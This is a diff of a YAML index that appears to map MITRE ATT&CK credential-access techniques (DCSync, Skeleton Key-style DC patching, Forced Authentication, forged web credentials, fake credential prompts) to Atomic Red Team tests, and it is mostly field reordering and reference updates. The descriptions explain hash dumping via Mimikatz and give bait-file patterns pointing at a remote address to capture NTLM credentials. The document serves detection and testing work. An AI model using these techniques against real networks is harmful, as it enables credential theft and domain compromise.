       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: DCSync
+      x_mitre_data_sources:
+      - 'Active Directory: Active Directory Object Access'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      modified: '2021-04-22T20:20:14.595Z'
+      created: '2020-02-11T18:45:34.293Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      id: attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: |-
         Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.
 
         Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)
 
         DCSync functionality has been included in the "lsadump" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)
-      id: attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2021-04-22T20:20:14.595Z'
-      created: '2020-02-11T18:45:34.293Z'
       x_mitre_contributors:
       - ExtraHop
       - Vincent Le Toux
-      x_mitre_data_sources:
-      - 'Active Directory: Active Directory Object Access'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)
 
         Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1003/006
+        external_id: T1003.006
+        source_name: mitre-attack
+      - source_name: Microsoft DRSR Dec 2017
+        description: Microsoft. (2017, December 1). MS-DRSR Directory Replication
+          Service (DRS) Remote Protocol. Retrieved December 4, 2017.
+        url: https://msdn.microsoft.com/library/cc228086.aspx
+      - source_name: Microsoft GetNCCChanges
+        description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December
+          4, 2017.
+        url: https://msdn.microsoft.com/library/dd207691.aspx
+      - source_name: Samba DRSUAPI
+        description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.
+        url: https://wiki.samba.org/index.php/DRSUAPI
+      - source_name: Wine API samlib.dll
+        description: Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.
+        url: https://source.winehq.org/WineAPI/samlib.html
+      - source_name: ADSecurity Mimikatz DCSync
+        description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation,
+          and Detection. Retrieved August 7, 2017.
+        url: https://adsecurity.org/?p=1729
+      - source_name: Harmj0y Mimikatz and DCSync
+        description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids,
+          Oh My. Retrieved August 7, 2017.
+        url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
+      - source_name: InsiderThreat ChangeNTLM July 2017
+        description: Warren, J. (2017, July 11). Manipulating User Passwords with
+          Mimikatz. Retrieved December 4, 2017.
+        url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
+      - source_name: GitHub Mimikatz lsadump Module
+        description: Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved
+          August 7, 2017.
+        url: https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump
+      - source_name: Microsoft NRPC Dec 2017
+        description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol.
+          Retrieved December 6, 2017.
+        url: https://msdn.microsoft.com/library/cc237008.aspx
+      - source_name: Microsoft SAMR
+        description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote
+          Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.
+        url: https://msdn.microsoft.com/library/cc245496.aspx
+      - source_name: AdSecurity DCSync Sept 2015
+        description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation,
+          and Detection. Retrieved December 4, 2017.
+        url: https://adsecurity.org/?p=1729
+      - source_name: Harmj0y DCSync Sept 2015
+        description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids,
+          Oh My. Retrieved December 4, 2017.
+        url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
       identifier: T1003.006
     atomic_tests:
     - name: DCSync (Active Directory)
@@ -1871,22 +1919,24 @@ credential-access:
         elevation_required: false
   T1556.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556.001
-        url: https://attack.mitre.org/techniques/T1556/001
-      - source_name: Dell Skeleton
-        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
-          Retrieved April 8, 2019.
-        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Domain Controller Authentication
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Creation'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      - 'File: File Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-04-20T20:10:26.613Z'
+      created: '2020-02-11T19:05:02.399Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605
       description: "Adversaries may patch the authentication process on a domain controller
         to bypass the typical authentication mechanisms and enable access to accounts.
         \n\nMalware may be used to inject false credentials into the authentication
@@ -1899,8 +1949,6 @@ credential-access:
         key is erased from memory by a reboot of the domain controller). Authenticated
         access may enable unfettered access to hosts and/or resources within single-factor
         authentication environments.(Citation: Dell Skeleton)"
-      id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
@@ -1908,15 +1956,6 @@ credential-access:
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2021-04-20T20:10:26.613Z'
-      created: '2020-02-11T19:05:02.399Z'
-      x_mitre_data_sources:
-      - 'Logon Session: Logon Session Creation'
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
-      - 'File: File Modification'
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: "Monitor for calls to <code>OpenProcess</code> that can be
         used to manipulate lsass.exe running on a domain controller as well as for
         malicious modifications to functions exported from authentication-related
@@ -1931,16 +1970,40 @@ credential-access:
         used to execute binaries on a remote system as a particular account. Correlate
         other security systems with login information (e.g. a user has an active login
         session but has not entered the building or does not have VPN access). "
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556/001
+        external_id: T1556.001
+        source_name: mitre-attack
+      - url: https://www.secureworks.com/research/skeleton-key-malware-analysis
+        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
+          Retrieved April 8, 2019.
+        source_name: Dell Skeleton
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
     atomic_tests: []
   T1212:
     technique:
-      id: attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Exploitation for Credential Access
+      x_mitre_version: '1.1'
+      modified: '2020-03-25T18:51:01.070Z'
+      created: '2018-04-18T17:59:24.739Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36
       description: 'Adversaries may exploit software vulnerabilities in an attempt
         to collect credentials. Exploitation of a software vulnerability occurs when
         an adversary takes advantage of a programming error in a program, service,
@@ -1952,87 +2015,51 @@ credential-access:
         permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged
         Tickets) Exploitation for credential access may also result in Privilege Escalation
         depending on the process targeted or credentials obtained.'
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1212
-        url: https://attack.mitre.org/techniques/T1212
-      - url: https://technet.microsoft.com/en-us/library/security/ms14-068.aspx
-        description: Microsoft. (2014, November 18). Vulnerability in Kerberos Could
-          Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.
-        source_name: Technet MS14-068
-      - url: https://adsecurity.org/?p=1515
-        description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
-          (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
-          23, 2015.
-        source_name: ADSecurity Detecting Forged Tickets
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2020-03-25T18:51:01.070Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - macOS
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - John Lambert, Microsoft Threat Intelligence Center
       x_mitre_detection: Detecting software exploitation may be difficult depending
         on the tools available. Software exploits may not always succeed or may cause
         the exploited process to become unstable or crash. Also look for behavior
         on the system that might indicate successful compromise, such as abnormal
         behavior of processes. Credential resources obtained through exploitation
         may be detectable in use if they are not normally used or seen.
-      x_mitre_contributors:
-      - John Lambert, Microsoft Threat Intelligence Center
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1212
+        external_id: T1212
+        source_name: mitre-attack
+      - source_name: Technet MS14-068
+        description: Microsoft. (2014, November 18). Vulnerability in Kerberos Could
+          Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.
+        url: https://technet.microsoft.com/en-us/library/security/ms14-068.aspx
+      - source_name: ADSecurity Detecting Forged Tickets
+        description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
+          (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
+          23, 2015.
+        url: https://adsecurity.org/?p=1515
     atomic_tests: []
   T1187:
     technique:
-      created: '2018-01-16T16:13:52.465Z'
+      type: attack-pattern
       modified: '2020-06-19T17:16:41.470Z'
+      name: Forced Authentication
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.2'
+      created: '2018-01-16T16:13:52.465Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1187
-        url: https://attack.mitre.org/techniques/T1187
-      - url: https://en.wikipedia.org/wiki/Server_Message_Block
-        description: Wikipedia. (2017, December 16). Server Message Block. Retrieved
-          December 21, 2017.
-        source_name: Wikipedia Server Message Block
-      - url: https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/
-        description: Stevens, D. (2017, November 13). WebDAV Traffic To Malicious
-          Sites. Retrieved December 21, 2017.
-        source_name: Didier Stevens WebDAV Traffic
-      - url: https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx
-        description: Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved
-          December 21, 2017.
-        source_name: Microsoft Managing WebDAV Security
-      - url: https://github.com/hob0/hashjacking
-        description: Dunning, J. (2016, August 1). Hashjacking. Retrieved December
-          21, 2017.
-        source_name: GitHub Hashjacking
-      - url: https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf
-        description: Cylance. (2015, April 13). Redirect to SMB. Retrieved December
-          21, 2017.
-        source_name: Cylance Redirect to SMB
-      - url: https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
-        description: Osanda Malith Jayathissa. (2017, March 24). Places of Interest
-          in Stealing NetNTLM Hashes. Retrieved January 26, 2018.
-        source_name: Osanda Stealing NetNTLM Hashes
-      - url: https://www.us-cert.gov/ncas/alerts/TA17-293A
-        description: 'US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent
-          Threat Activity Targeting Energy and Other Critical Infrastructure Sectors.
-          Retrieved November 2, 2017.'
-        source_name: US-CERT APT Energy Oct 2017
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2
       description: |-
         Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.
 
@@ -2046,28 +2073,49 @@ credential-access:
 
         * A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)
         * A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\[remote address]\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)
-      name: Forced Authentication
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2
-      x_mitre_version: '1.2'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - Teodor Cimpoesu
       - Sudhanshu Chauhan, @Sudhanshu_C
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Network Traffic: Network Traffic Flow'
       x_mitre_detection: |-
         Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.
 
         Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)
-      x_mitre_permissions_required:
-      - User
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1187
+        external_id: T1187
+        source_name: mitre-attack
+      - source_name: Wikipedia Server Message Block
+        description: Wikipedia. (2017, December 16). Server Message Block. Retrieved
+          December 21, 2017.
+        url: https://en.wikipedia.org/wiki/Server_Message_Block
+      - source_name: Didier Stevens WebDAV Traffic
+        description: Stevens, D. (2017, November 13). WebDAV Traffic To Malicious
+          Sites. Retrieved December 21, 2017.
+        url: https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/
+      - source_name: Microsoft Managing WebDAV Security
+        description: Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved
+          December 21, 2017.
+        url: https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx
+      - source_name: GitHub Hashjacking
+        description: Dunning, J. (2016, August 1). Hashjacking. Retrieved December
+          21, 2017.
+        url: https://github.com/hob0/hashjacking
+      - source_name: Cylance Redirect to SMB
+        description: Cylance. (2015, April 13). Redirect to SMB. Retrieved December
+          21, 2017.
+        url: https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf
+      - source_name: Osanda Stealing NetNTLM Hashes
+        description: Osanda Malith Jayathissa. (2017, March 24). Places of Interest
+          in Stealing NetNTLM Hashes. Retrieved January 26, 2018.
+        url: https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
+      - source_name: US-CERT APT Energy Oct 2017
+        description: 'US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent
+          Threat Activity Targeting Energy and Other Critical Infrastructure Sectors.
+          Retrieved November 2, 2017.'
+        url: https://www.us-cert.gov/ncas/alerts/TA17-293A
       identifier: T1187
     atomic_tests:
     - name: PetitPotam
@@ -2117,54 +2165,17 @@ credential-access:
           Write-Host "End of PetitPotam attack"
   T1606:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1606
-        url: https://attack.mitre.org/techniques/T1606
-      - source_name: GitHub AWS-ADFS-Credential-Generator
-        url: https://github.com/damianh/aws-adfs-credential-generator
-        description: Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator.
-          Retrieved December 16, 2020.
-      - description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
-          the Cookie. Retrieved April 5, 2019.
-        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
-        source_name: Pass The Cookie
-      - source_name: Unit 42 Mac Crypto Cookies January 2019
-        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
-        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
-          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
-      - source_name: Microsoft SolarWinds Customer Guidance
-        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
-        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
-          Cyber Attacks. Retrieved December 17, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Forge Web Credentials
-      description: |-
-        Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.
-
-        Adversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)
-
-        Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)
-      id: attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2021-04-14T14:29:27.631Z'
-      created: '2020-12-17T02:13:46.247Z'
+      name: Forge Web Credentials
       x_mitre_data_sources:
       - 'Logon Session: Logon Session Creation'
       - 'Web Credential: Web Credential Creation'
       - 'Web Credential: Web Credential Usage'
-      x_mitre_detection: Monitor for anomalous authentication activity, such as logons
-        or other user session activity associated with unknown accounts. Monitor for
-        unexpected and abnormal access to resources, including access of websites
-        and cloud-based applications by the same user in different locations or by
-        different systems that do not match expected configurations.
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: false
+      x_mitre_version: '1.2'
+      modified: '2021-10-12T14:26:52.179Z'
+      created: '2020-12-17T02:13:46.247Z'
       x_mitre_platforms:
       - SaaS
       - Windows
@@ -2173,36 +2184,71 @@ credential-access:
       - Azure AD
       - Office 365
       - Google Workspace
+      - IaaS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c
+      description: |-
+        Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.
+
+        Adversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)
+
+        Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      x_mitre_detection: Monitor for anomalous authentication activity, such as logons
+        or other user session activity associated with unknown accounts. Monitor for
+        unexpected and abnormal access to resources, including access of websites
+        and cloud-based applications by the same user in different locations or by
+        different systems that do not match expected configurations.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1606
+        external_id: T1606
+        source_name: mitre-attack
+      - url: https://github.com/damianh/aws-adfs-credential-generator
+        description: Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator.
+          Retrieved December 16, 2020.
+        source_name: GitHub AWS-ADFS-Credential-Generator
+      - source_name: Pass The Cookie
+        description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
+          the Cookie. Retrieved April 5, 2019.
+        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
+      - url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
+        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
+          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
+        source_name: Unit 42 Mac Crypto Cookies January 2019
+      - url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
+        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
+          Cyber Attacks. Retrieved December 17, 2020.
+        source_name: Microsoft SolarWinds Customer Guidance
     atomic_tests: []
   T1056.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1056.002
-        url: https://attack.mitre.org/techniques/T1056/002
-      - external_id: CAPEC-659
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/659.html
-      - url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html
-        description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits
-          Mackeeper. Retrieved July 3, 2017.
-        source_name: OSX Malware Exploits MacKeeper
-      - source_name: LogRhythm Do You Trust Oct 2014
-        url: https://logrhythm.com/blog/do-you-trust-your-computer/
-        description: Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved
-          December 17, 2018.
-      - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
-        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
-          is hungry for credentials. Retrieved July 3, 2017.
-        source_name: OSX Keydnap malware
-      - source_name: Enigma Phishing for Credentials Jan 2015
-        url: https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
-        description: 'Nelson, M. (2015, January 21). Phishing for Credentials: If
-          you want it, just ask!. Retrieved December 17, 2018.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: GUI Input Capture
+      x_mitre_data_sources:
+      - 'Script: Script Execution'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-08-24T18:21:07.926Z'
+      created: '2020-02-11T18:58:45.908Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      id: attack-pattern--a2029942-0a85-4947-b23c-ca434698171d
+      x_mitre_platforms:
+      - macOS
+      - Windows
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may mimic common operating system GUI components to
         prompt users for credentials with a seemingly legitimate prompt. When programs
         are executed that need additional privileges than are present in the current
@@ -2213,34 +2259,52 @@ credential-access:
         legitimate prompt for a number of reasons that mimic normal usage, such as
         a fake installer requiring additional access or a fake malware removal suite.(Citation:
         OSX Malware Exploits MacKeeper) This type of prompt can be used to collect
-        credentials via various languages such as AppleScript(Citation: LogRhythm
-        Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation:
+        credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation:
+        LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation:
+        Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation:
         LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials
-        Jan 2015). "
-      id: attack-pattern--a2029942-0a85-4947-b23c-ca434698171d
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2020-03-24T20:56:14.853Z'
-      created: '2020-02-11T18:58:45.908Z'
+        Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers
+        may launch dialog boxes prompting users for credentials from malicious shell
+        scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation:
+        Spoofing credential dialogs) "
       x_mitre_contributors:
       - Matthew Molyett, @s1air, Cisco Talos
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: |-
-        Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials.
-
-        Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - macOS
-      - Windows
+      x_mitre_detection: "Monitor process execution for unusual programs as well as
+        malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)
+        that could be used to prompt users for credentials. For example, command/script
+        history including abnormal parameters (such as requests for credentials and/or
+        strings related to creating password prompts) may be malicious.(Citation:
+        Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for
+        indicators of illegitimacy, such as non-traditional banners, text, timing,
+        and/or sources. "
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1056/002
+        external_id: T1056.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/659.html
+        external_id: CAPEC-659
+        source_name: capec
+      - source_name: OSX Malware Exploits MacKeeper
+        description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits
+          Mackeeper. Retrieved July 3, 2017.
